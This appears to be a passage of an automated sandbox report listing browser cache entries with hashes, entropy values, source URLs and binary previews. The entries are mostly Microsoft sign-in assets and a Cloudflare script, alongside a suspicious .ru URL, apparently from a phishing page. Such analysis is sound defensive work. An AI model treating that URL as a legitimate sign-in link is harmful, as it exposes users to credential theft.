SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
URL:	https://tfs7p.tjezyf.ru/chiriya$3c6dm
Preview:	1

Chrome Cache Entry: 137

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 406986
Category:	downloaded
Size (bytes):	116362
Entropy (8bit):	7.997473195483862
Encrypted:	true
SSDEEP:	3072:b4AjEJ6y6ebFHqvxmN75LyWZh7nUOJc4TG91lJa5l+2EqFonU:0AgsnM79PZh7nuN1naTdFoU
MD5:	81C7B985343C317ADEEA2C28F5C6FF4D
SHA1:	7A04D6215D0B79EEDE6823C4B3621795AD552534
SHA-256:	6BDBA6F0D2271DD20E6E6AEA2B459A1A23050EDE1B3BBADE4C913A1716F6E491
SHA-512:	DDF40137ED7F870C5E7475685BA9006F9C99C7C0632A9E7738DCF9BD081C105ABA5B94B3302BBD26DFF413DC065FC442D3CDDA33684709D6185B409F08158085
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_72a1051aa2aa2943d8c1.js
Preview:	...........k{.H.(.}.......c....8=.Ib......#Ca.....K..o..ZU%...q..9...ct).....S..?U.6..rqyt~Y9}W..........Z.xzy..x.z.Q.w9......^...U.........<..G....=wZ.....Oxe.._.0.S/..k>..&T..gn.?TN....6.....a0...I\......)....$......7.T>x.0..q\...{..H...\|.....2..x"..\`IYkD..#....FP....a.^.].'0h.&.....ie..\|.qPy....l<..S.y.E..>.....a...3..-vq:..P<..dE.....C.h.P..]..\5.......3.<N.^?T...:B#c....\|...T.........(...Q.l7[...V.e.W.8.G.....O...0.m...f.F...7..h.......F..b...Yr.=...f.....?......S.}U..g.......t..../...G.......~.+...)y.X\...<.&.........`.v.....`^....c4c.Yh=.a.wB.m.......i..~v-..O..nY....A....5...v...t..FSw...Q/n...c.9Y{.-..>a..7h..o..ec...O...)~..8...j-M..nD....9......f5..'Q#...L.'......fZW."Q[.<.nx..O...LU.;..a.m..&.k.$...;.=L...yv....,.f<Hb{.w.@.8...8F.D.>.04.[K6v.i..2.#?..&.;-.].....1.X0w.H6mZ..A...t..e-.\...MC6.xt`..cu...@_...v....;z'.mV.T/o.i....-...K......\..Sn>B......%x..%......W.\|......~.6.%...+.:..x5..s5P.-..!.G...ZT.i...;.&

Chrome Cache Entry: 138

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	100
Entropy (8bit):	5.231530695602544
Encrypted:	false
SSDEEP:	3:RD2iczBrGkP2yXnIo+qBVcdw+ZArY:wiczB6kPTXnf+qP+ZAM
MD5:	A6CB72799B76A9C198B404EB4C377F7F
SHA1:	1C690262981F85E6B925342F1B46DB0E9095E0C2
SHA-256:	A6B9853EF435597EAC03F584CB6C6172C4D80D801B7180DC9F2FE05DCD61B244
SHA-512:	AF734E5A22C9B27FE02869A17C2AC32716A5AF49A55205FEC09BC2D1CCB8303B6CAA20087983235804FD05366537F9DA4979AAF6446CEEBFC1035327DC3EEEC1
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISFwmCAmly1gHbXRIFDdFbUVISBQ1Xevf9?alt=proto
Preview:	CkcKDQ3RW1FSGgQIVhgCIAEKNg1Xevf9GgQISxgCKikIClIlChtAISMuKiQtXyslJj8vXj0pKCw6O348JyJcXT4QARj/////Dw==

Chrome Cache Entry: 139

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 142588
Category:	downloaded
Size (bytes):	49982
Entropy (8bit):	7.995657643114965
Encrypted:	true
SSDEEP:	1536:Jxgptniucdklf46I3reB9kaGX2VDj/vlzQ4Orr:JehcdSPIbK9ggnnlzor
MD5:	47B6359A09BBEE6AA41B82E06C5A6105
SHA1:	7049BB7A20217A9153F9AED16A0A6B6DF27B1038
SHA-256:	EACBD5A1C958B4A2859D1D59FCDF028EDB6DD7567109218A83AA4E263A253A35
SHA-512:	16CAC5CD306721D5A117CA06CC42BBB38680697E811479F51C315A3967F5716ED9AC2A01A049BDBA027984312F268E2711E359936ED748394100A11953B231FC
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/js/BssoInterrupt_Core_9810YxmrLqOR1rQ4anyNMg2.js
Preview:	...........m[.8.0........OL....;w.....6.ff.X.'V......4.r~........=........,..JU.......T~.l..?..E...r..r.....r.o....^.......(..q...?.......aP......h.Fn".....\|wR.G.C%...i.~..$.L.8.BC1..U...gn.<W...:./.6.....(.>..}R.......xT..^.XTf.'...?.....(..qR..H...x...OX.7..X$.q.%..ze....>._......{P.:....~.M...X&.&.u..ie..\|.IXy.g..Y....x{..;..U.M.f....f,.Gl.dR..<...bl{E\|..@<y..En.(W...s."!.D.X.<AE....a....Y..'.t&8.T.....".J.K......Rm5.;...F...$........Q......C.G_.s...../1.8b\....ZP9..\?P.:........)`_.... .......6..#lXU.s.\I....Q....Y..\5n,.~.7V.4..su........N\...._.7...........T.....)..L..S}.c_...\_......Y}:...._1-\|p..l@..[q...........?&.0Z_.Aw:3.RsV...qR5..Bv./..7...b.G,..jt...HfQP..:.).a...&9s.N....d.=_,:...B..@...+{.Mx.8k.,m.Q.B.......j....}.2bdEkE.G.a..5...1....G ...T...~....uV6.....i.=...AU.!.+."3c...D.&!*q.9L....8..&`>.....v....6aT\.U.S.q"+!.....Xi.@D2.....g..t\.nw.-..L..S.B@QZ.N>.\-...[...pD....sro//..H...i......}.U.....M.yJ........./.

Chrome Cache Entry: 140

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1592
Category:	dropped
Size (bytes):	621
Entropy (8bit):	7.673946009263606
Encrypted:	false
SSDEEP:	12:Xp7fmqfW/e4YC2L0E5DZLB62y/+6lbPa1Gotq8mdd2Xmy2QLBwxD+QkCfBJ:Xp6qf2SCk3LBpy/rtPa1GKq8mOX5jLcD
MD5:	4761405717E938D7E7400BB15715DB1E
SHA1:	76FED7C229D353A27DB3257F5927C1EAF0AB8DE9
SHA-256:	F7ED91A1DAB5BB2802A7A3B3890DF4777588CCBE04903260FBA83E6E64C90DDF
SHA-512:	E8DAC6F81EB4EBA2722E9F34DAF9B99548E5C40CCA93791FBEDA3DEBD8D6E401975FC1A75986C0E7262AFA1B9D1475E1008A89B92C8A7BEC84D8A917F221B4A2
Malicious:	false
Preview:	..........}UMo"1..+.....G; .8l...M..$.U.AW......UaX..`'.=......\|..z3...Ms>..Y...QB..W..y..6.......?..........L.W=m....=..w.)...nw...a.z......#.y.j...m...P...#...6....6.u.u...OF.V..07b..\...s.f..U..N..B...>.d.-z..x.2..Lr.Rr)....JF.z.;Lh.....q.2.A....[.&".S..:......]........#k.U#57V..k5.tdM.j.9.FMQ2..H:.~op..H.......hQ.#...r[.T.$.@........j.xc.x0..I.B:#{iP1.e'..S4.:...mN.4)<W.A.).g.+..PZ&.$.#.6v.+.!...x...}.._...d...#.Cb..(..^k..h!..7.dx.WHB......(.6g.7.Wwt.I<.......o.;.....Oi$}f.6.....:P..!<5.(.p.e.%et.)w8LA.l9r..n.....?.F.DrK...H....0F...{.,.......{E..".......x.@..?u......../....8...

Chrome Cache Entry: 141

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	dropped
Size (bytes):	3620
Entropy (8bit):	6.867828878374734
Encrypted:	false
SSDEEP:	48:ZumKaT5ezv47j2/ZiRDlq16x8XvEUcg777shHdpHVGJqFd:Eal647jPDlL8XvEUcg77kVGyd
MD5:	B540A8E518037192E32C4FE58BF2DBAB
SHA1:	3047C1DB97B86F6981E0AD2F96AF40CDF43511AF
SHA-256:	8737D721808655F37B333F08A90185699E7E8B9BDAAA15CDB63C8448B426F95D
SHA-512:	E3612D9E6809EC192F6E2D035290B730871C269A267115E4A5515CADB7E6E14E3DD4290A35ABAA8D14CF1FA3924DC76E11926AC341E0F6F372E9FC5434B546E5
Malicious:	false
Preview:	GIF89a`.........iii!.......!.&Edited with ezgif.com online GIF maker.!..NETSCAPE2.0.....,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....`.....9..i....Q4......H..j.=.k9-5_..........j7..({.........!.......,....`.....9.......trV.......H....`.[.q6......>.. .CZ.&!.....M...!.......,....`.....8..........:......H..jJ..U..6_....../.el...q.).....!.......,....`.....9.....i..l.go.....H..".U...f......._......5......n..!.......,....`.....:..i......./.....H...5%.kE/5.........In.a..@&3.....J...!.......,....`.....9.......kr.j.....H...-.{Im5c..............@&.........!.......,....`.....9.........j..q....H...].&..\.5.........8..S..........!.......,....`.....9.......3q.g..5....H...:u..............Al..x.q.........!.......,....`.....9......\.F....z....H...zX...ov.........h3N.x4......j..!.......,....`.....9........Q.:......H....y..^...1.........n.!.F......E...!.......,....`.....8.........i,......H....*_.21.I.........%...

Chrome Cache Entry: 142

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 143

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 455713
Category:	dropped
Size (bytes):	122938
Entropy (8bit):	7.997721281671076
Encrypted:	true
SSDEEP:	3072:m+Uk3sMLbagRX6D+VWwKWf1Oh+LFM/2RBT8K3EuD:m1k3sO/vWEf1OSe/2RBIKJ
MD5:	96E339D86011BDAC1FB27E77B9CB3B36
SHA1:	BA352B1214AB132DCFE4A139FE0A39378A6ADE38
SHA-256:	A2A45D472C6B2C0215AE6E643DEA95268E3DBBB813DB2FCB991415E09671F6FE
SHA-512:	554EEDD482D091DD1F79A51B24E41AD446F1D3FD1F57466D0CC1FB75EB87AC19219955167E8167B0AEE4C4358BAFA8EC7CB4B6633AFD0D52B0C461349E042197
Malicious:	false
Preview:	...........{w.8.8.....fn..(..o+.....I.....Merd.v.%.$.1.......([NU....s.Q.H... .....w.......Oit....OJ.O..J..............F....^\.x>+...3....0y..F.0....f.o..~i...R..J.(..9I\.8.Bc..2T...K;J^K.....6o..P.....!).a.9.d.....G..."pYTz~...Da.N.R...=A#....M.%;b..%.I.%......!E.15.[...:..P.........8_...L...U..ie..\|.JIXz.....x.`Z...bj......I..a.,z...~)..D...%.2....-M#;@...`..i......cTt.Z.fs...L/.8..s...R..^...J.?.0.W..K.z.h..Z.5....d...>L..a1.:.......C.G.....G..?c^....,]....Q8..@.u.b.4..K..!`_.....q\|q.?]..<>.L....+..R........d..uO...v.G...c..;...A.KX.Y0M....g...>....'a.:g..;.>...9.b.:0.e[.....w...T......JE..V..;....wU...TYf....?.....ua8...i....$)W.....\..7... EC.h.&e.6..D,YDA..W.Na!..T..$k..;..2..ju .1,D}LdY=..a.>\|k....ND/.A...}{+'V?..W%#..o)a.S....c!P8..UI.".n.{.]C.q...-u..a.....$z%...[*.CX......l.}.U.Q.......\.nT..........Z...LK.~.\|."...D;U{>._....T$.C..^\|)..'e..!.k2=...)Y! )..+.Y.#%........C..>0.r_oo..%.>....=..g..!.V....<%J.D......

Chrome Cache Entry: 144

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

Chrome Cache Entry: 145

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1864
Category:	downloaded
Size (bytes):	673
Entropy (8bit):	7.6596900876595075
Encrypted:	false
SSDEEP:	12:Xl0t8TUViiYi5m6FhSBXWPsigK99WCqKMvBBFThSqfLd81CK6bC+k7LqZLsFlD:XFUVpkNK0Rwid81p6btk7LqZ6D
MD5:	0E176276362B94279A4492511BFCBD98
SHA1:	389FE6B51F62254BB98939896B8C89EBEFFE2A02
SHA-256:	9A2C174AE45CAC057822844211156A5ED293E65C5F69E1D211A7206472C5C80C
SHA-512:	8D61C9E464C8F3C77BF1729E32F92BBB1B426A19907E418862EFE117DBD1F0A26FCC3A6FE1D1B22B836853D43C964F6B6D25E414649767FBEA7FE10D2048D7A1
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg
Preview:	...........U.n.0....}i..P..C..7l/..d........n...G....yl. .E.......Tu.F.........?$.i.s..s...C..wi$.....r....CT.U.FuS..r.e.~...G.q.....~M..mu}.0.=..&.~.e.WLX.....X..%p..i......7+.........?......WN..%>...$..c..}N....Y4?..x.1......#v...Gal9.!.9.A.u..b..>..".#A2"+...<qc.v....)3...x.p&..K.&..T.r.'....J.T....Q..=..H).X...<.r...KkX........)5i4.+.h.....5.<..5.^O.eC%V^....Nx.E..;..52..h....C"I./.`..O...f..r..n.h.r]}.G^..D.7..i.].}.G.].....{....oW............h.4...}~=6u..k...=.X..+z}.4.].....YS5..J......)......m....w.......~}.C.b_..[.u..9_7.u.u.....y.ss....:_yQ<{..K.V_Z....c.G.N.a...?/..%. .-..K.td....4...5.(.e.`G7..]t?.3..\..... ....G.H...

Chrome Cache Entry: 146

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	dropped
Size (bytes):	2672
Entropy (8bit):	6.640973516071413
Encrypted:	false
SSDEEP:	48:ZaOdwduTYPpS9pZy9vDNi1miicsvrJkafMiS+MGQ09DU/X9/4Xp6m5Z9SQcq:4CIuTYPpSTc9vcPZX9/2gzQ/
MD5:	166DE53471265253AB3A456DEFE6DA23
SHA1:	17C6DF4D7CCF1FA2C9EFD716FBAE0FC2C71C8D6D
SHA-256:	A46201581A7C7C667FD42787CD1E9ADF2F6BF809EFB7596E61A03E8DBA9ADA13
SHA-512:	80978C1D262BC225A8BA1758DF546E27B5BE8D84CBCF7E6044910E5E05E04AFFEFEC3C0DA0818145EB8A917E1A8D90F4BAC833B64A1F6DE97AD3D5FC80A02308
Malicious:	false
Preview:	GIF89a`............!..NETSCAPE2.0.....!.......,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....0.............<....[.\K8j.tr.g..!.......,....3............^;...\UK.]\.%.V.c...!.......,....7........`....lo...[.a..*Rw~i...!.......,....;........h.....l.G-.[K.,_XA]..'g..!.......,....?........i.....g....Z.}..)..u...F..!.......,....C...............P.,nt^.i....Xq...i..!.......,....F...........{^b....n.y..i...\C.-...!.......,....H..............R...o....h.xV!.z#...!.......,"...L.............r.jY..w~aP(.......[i...!.......,(...N.............r....w.aP.j.'.)Y..S..!.......,....H.........`......hew..9`.%z.xVeS..!.......,5...A.........`...\m.Vmtzw.}.d.%...Q..!.......,9...=.........h......3S..s.-W8m...Q..!.......,A...5.........h.....N...:..!..U..!.......,H.............h....M.x...f.i.4..!.......,O...'.........i...tp......(..!.......,X.............j...@.x....!.......,].............j..L..3em..!.......,e.............`......!.......,n..............{i..!..

Chrome Cache Entry: 147

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 142588
Category:	dropped
Size (bytes):	49982
Entropy (8bit):	7.995657643114965
Encrypted:	true
SSDEEP:	1536:Jxgptniucdklf46I3reB9kaGX2VDj/vlzQ4Orr:JehcdSPIbK9ggnnlzor
MD5:	47B6359A09BBEE6AA41B82E06C5A6105
SHA1:	7049BB7A20217A9153F9AED16A0A6B6DF27B1038
SHA-256:	EACBD5A1C958B4A2859D1D59FCDF028EDB6DD7567109218A83AA4E263A253A35
SHA-512:	16CAC5CD306721D5A117CA06CC42BBB38680697E811479F51C315A3967F5716ED9AC2A01A049BDBA027984312F268E2711E359936ED748394100A11953B231FC
Malicious:	false
Preview:	...........m[.8.0........OL....;w.....6.ff.X.'V......4.r~........=........,..JU.......T~.l..?..E...r..r.....r.o....^.......(..q...?.......aP......h.Fn".....\|wR.G.C%...i.~..$.L.8.BC1..U...gn.<W...:./.6.....(.>..}R.......xT..^.XTf.'...?.....(..qR..H...x...OX.7..X$.q.%..ze....>._......{P.:....~.M...X&.&.u..ie..\|.IXy.g..Y....x{..;..U.M.f....f,.Gl.dR..<...bl{E\|..@<y..En.(W...s."!.D.X.<AE....a....Y..'.t&8.T.....".J.K......Rm5.;...F...$........Q......C.G_.s...../1.8b\....ZP9..\?P.:........)`_.... .......6..#lXU.s.\I....Q....Y..\5n,.~.7V.4..su........N\...._.7...........T.....)..L..S}.c_...\_......Y}:...._1-\|p..l@..[q...........?&.0Z_.Aw:3.RsV...qR5..Bv./..7...b.G,..jt...HfQP..:.).a...&9s.N....d.=_,:...B..@...+{.Mx.8k.,m.Q.B.......j....}.2bdEkE.G.a..5...1....G ...T...~....uV6.....i.=...AU.!.+."3c...D.&!*q.9L....8..&`>.....v....6aT\.U.S.q"+!.....Xi.@D2.....g..t\.nw.-..L..S.B@QZ.N>.\-...[...pD....sro//..H...i......}.U.....M.yJ........./.

Chrome Cache Entry: 148

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	937
Entropy (8bit):	7.737931820487441
Encrypted:	false
SSDEEP:	24:2PUSIn/IylOgX9qCigRmHQxlCNebarFY9:2PLCHlOgXQ9Oie+rw
MD5:	FC3B7BBE7970F47579127561139060E2
SHA1:	3F7C5783FE1F4404CB16304A5A274778EA3ABD25
SHA-256:	85E6223AFDBD5BADF2C79BCFBAA6FE686ACAA781ECA52C196647FFABB3BE2FFE
SHA-512:	49FA22DE92BEBEDE28BB72F7C7902C01D59E56723811629E40C8A887E34FD0B392A9DF169A238BDD8E46D984E76312D75B2644B8611C66A71A559C1B6834DE6C
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....pHYs...........~....[IDATX..KHTQ..g...&....!pY-.q.-B.H....Q`HY.wL.L....D....M.hS.H.w..wF..y\|..s.9..2.6s..w.....}.9........m.{"."q.Q..x.ZO..h.U.y.3.].^.M. .0...D7L...D....w...a$}/u..)n....@......8.V.y6..X..U.QgA.\.Q.F..~.>..'......g.=.2..VW..\....`1d......q..........6...Y...L.g9....l.-...z.t.CE\|...d5...b..H?....4...+.J.....9.E..-. ..R$.D.S....7...b..i..\q.?0..9....,d&...mw.L..&N.FpM"...;.......O[db/...-....Q<..WDhN.nu....%...m......A.S.._.>w...0.u..TJ...)......u..(=.!.."zTE0....J....ki#..n0..^.._"..D.....u..p.*=.&d..1....8...f.kR.3G6.t....Vcl.o=~/.$./...I.....$............(]...9.,...i....e... ..........._....@.h./......./U2Nd..........U..\|...{.(...y....`.\|....z\..z.@.o5...-...O.T.TL).5...y.m.......zZ........:..B..i..w...?!...m-xi.....;...e.0.A...W.}..E...u......h0O./...U..jA..., ..{.(......._=.w#.~..<..g.Vz....o@.e...........2.....T....IEND.B`.

Chrome Cache Entry: 149

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48238)
Category:	downloaded
Size (bytes):	48239
Entropy (8bit):	5.343270713163753
Encrypted:	false
SSDEEP:	768:+CbPzHMb42QOna0rhgaqC2DdONTjwzsLSh0ZsC3Y2zIijkKY1LBep7iFFQ7Srv3h:gb425na0rhgaqDnzs22z3kH
MD5:	184E29DE57C67BC329C650F294847C16
SHA1:	961208535893142386BA3EFE1444B4F8A90282C3
SHA-256:	DD03BA1DD6D73643A8ED55F4CEBC059D673046975D106D26D245326178C2EB9D
SHA-512:	AF3D62053148D139837CA895457BEEF7620AA52614B9A08FD0D5BEF8163F4C3B9E8D7B2A74D29079DB3DACC51D98AE4A5DC19C788928E5A854D7803EBB9DED9C
Malicious:	false
URL:	https://challenges.cloudflare.com/turnstile/v0/g/f3b948d8acb8/api.js
Preview:	"use strict";(function(){function Ht(e,t,a,o,c,l,v){try{var h=e[l](v),s=h.value}catch(p){a(p);return}h.done?t(s):Promise.resolve(s).then(o,c)}function qt(e){return function(){var t=this,a=arguments;return new Promise(function(o,c){var l=e.apply(t,a);function v(s){Ht(l,o,c,v,h,"next",s)}function h(s){Ht(l,o,c,v,h,"throw",s)}v(void 0)})}}function V(e,t){return t!=null&&typeof Symbol!="undefined"&&t[Symbol.hasInstance]?!!t[Symbol.hasInstance](e):V(e,t)}function De(e,t,a){return t in e?Object.defineProperty(e,t,{value:a,enumerable:!0,configurable:!0,writable:!0}):e[t]=a,e}function Ve(e){for(var t=1;t<arguments.length;t++){var a=arguments[t]!=null?arguments[t]:{},o=Object.keys(a);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(a).filter(function(c){return Object.getOwnPropertyDescriptor(a,c).enumerable}))),o.forEach(function(c){De(e,c,a[c])})}return e}function Ir(e,t){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 150

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 113424
Category:	downloaded
Size (bytes):	20410
Entropy (8bit):	7.980582012022051
Encrypted:	false
SSDEEP:	384:8RvmaMFysnOXZ2m9zM+udO6GGUpeAU02oDGnN5EsQwWUQGTS8r2k:8pmm7ZFM+ObGGUIjN5PJV3Tp
MD5:	3BA4D76A17ADD0A6C34EE696F28C8541
SHA1:	5E8A4B8334539A7EAB798A7799F6E232016CB263
SHA-256:	17D6FF63DD857A72F37292B5906B40DC087EA27D7B1DEFCFA6DD1BA82AEA0B59
SHA-512:	8DA16A9759BB68A6B408F9F274B882ABB3EE7BA19F888448E495B721094BDB2CE5664E9A26BAE306A00491235EB94C143E53F618CCD6D50307C3C7F2EF1B4455
Malicious:	false
URL:	https://aadcdn.msauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_81imvbluez-v5hbzpkxfcg2.css
Preview:	...........}k..6..w...R..J.H=GSI..x.9...}T.....)Q..f<...~.F.h..x..{+.-.....h..n....</v.ev......W.,.bU..rW.I...0x...C..2...6]..W_......../x.........~.z.}.\|.#x......AgO.\|XgU...4 .^'U...mP.A.].Z.U.!..Y.......:.ve.?.!..d.N...xJ...mR......0.@p...lKr/...E.-. .....\|l.4.o.i.......L.iF..T{.n....2....VEY.y=..=..T+V./.b....\....7.sH.w{.h.....!.."F.k.!.......d...mS.rh.&G.../..h&..RE"!.A/.......A....L...8.q.M...t[...R...>.6;R..^.Vu..9.[F........>A.:HT}w]......2........p......'T.^]}.^..yJ>.<..pq..h.\|..j....j.x..-...c...f...=".)..U.X'.M..l.]ZVtl\.I..}.0.~B0Y'.N...E.4.Xd..e...a.........."..9+d.&..l.$E..R.u.g.Q..w&...~I. .y..D.4;..'.."-.....b...)k.n.M...,3J.z_..&2f.h;.&.R.y..P..X.....\P.....r...B.$........<....H5.M.."'#.6mQl..mQ5.=.\...O.....^..jM..u.F..Oh.lNI..j..T..u...I..._........{.\...{..._\|..={O..z..>......x..5Q.D7?{...^...^.......o.=.z......v......z.C...Gtw...0!..M@....^...^.x..G....W...{...)..y.<c3...^>{......7._..'d__...;R.

Chrome Cache Entry: 151

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	downloaded
Size (bytes):	2672
Entropy (8bit):	6.640973516071413
Encrypted:	false
SSDEEP:	48:ZaOdwduTYPpS9pZy9vDNi1miicsvrJkafMiS+MGQ09DU/X9/4Xp6m5Z9SQcq:4CIuTYPpSTc9vcPZX9/2gzQ/
MD5:	166DE53471265253AB3A456DEFE6DA23
SHA1:	17C6DF4D7CCF1FA2C9EFD716FBAE0FC2C71C8D6D
SHA-256:	A46201581A7C7C667FD42787CD1E9ADF2F6BF809EFB7596E61A03E8DBA9ADA13
SHA-512:	80978C1D262BC225A8BA1758DF546E27B5BE8D84CBCF7E6044910E5E05E04AFFEFEC3C0DA0818145EB8A917E1A8D90F4BAC833B64A1F6DE97AD3D5FC80A02308
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif
Preview:	GIF89a`............!..NETSCAPE2.0.....!.......,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....0.............<....[.\K8j.tr.g..!.......,....3............^;...\UK.]\.%.V.c...!.......,....7........`....lo...[.a..*Rw~i...!.......,....;........h.....l.G-.[K.,_XA]..'g..!.......,....?........i.....g....Z.}..)..u...F..!.......,....C...............P.,nt^.i....Xq...i..!.......,....F...........{^b....n.y..i...\C.-...!.......,....H..............R...o....h.xV!.z#...!.......,"...L.............r.jY..w~aP(.......[i...!.......,(...N.............r....w.aP.j.'.)Y..S..!.......,....H.........`......hew..9`.%z.xVeS..!.......,5...A.........`...\m.Vmtzw.}.d.%...Q..!.......,9...=.........h......3S..s.-W8m...Q..!.......,A...5.........h.....N...:..!..U..!.......,H.............h....M.x...f.i.4..!.......,O...'.........i...tp......(..!.......,X.............j...@.x....!.......,].............j..L..3em..!.......,e.............`......!.......,n..............{i..!..

Chrome Cache Entry: 152

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48238)
Category:	dropped
Size (bytes):	48239
Entropy (8bit):	5.343270713163753
Encrypted:	false
SSDEEP:	768:+CbPzHMb42QOna0rhgaqC2DdONTjwzsLSh0ZsC3Y2zIijkKY1LBep7iFFQ7Srv3h:gb425na0rhgaqDnzs22z3kH
MD5:	184E29DE57C67BC329C650F294847C16
SHA1:	961208535893142386BA3EFE1444B4F8A90282C3
SHA-256:	DD03BA1DD6D73643A8ED55F4CEBC059D673046975D106D26D245326178C2EB9D
SHA-512:	AF3D62053148D139837CA895457BEEF7620AA52614B9A08FD0D5BEF8163F4C3B9E8D7B2A74D29079DB3DACC51D98AE4A5DC19C788928E5A854D7803EBB9DED9C
Malicious:	false
Preview:	"use strict";(function(){function Ht(e,t,a,o,c,l,v){try{var h=e[l](v),s=h.value}catch(p){a(p);return}h.done?t(s):Promise.resolve(s).then(o,c)}function qt(e){return function(){var t=this,a=arguments;return new Promise(function(o,c){var l=e.apply(t,a);function v(s){Ht(l,o,c,v,h,"next",s)}function h(s){Ht(l,o,c,v,h,"throw",s)}v(void 0)})}}function V(e,t){return t!=null&&typeof Symbol!="undefined"&&t[Symbol.hasInstance]?!!t[Symbol.hasInstance](e):V(e,t)}function De(e,t,a){return t in e?Object.defineProperty(e,t,{value:a,enumerable:!0,configurable:!0,writable:!0}):e[t]=a,e}function Ve(e){for(var t=1;t<arguments.length;t++){var a=arguments[t]!=null?arguments[t]:{},o=Object.keys(a);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(a).filter(function(c){return Object.getOwnPropertyDescriptor(a,c).enumerable}))),o.forEach(function(c){De(e,c,a[c])})}return e}function Ir(e,t){var 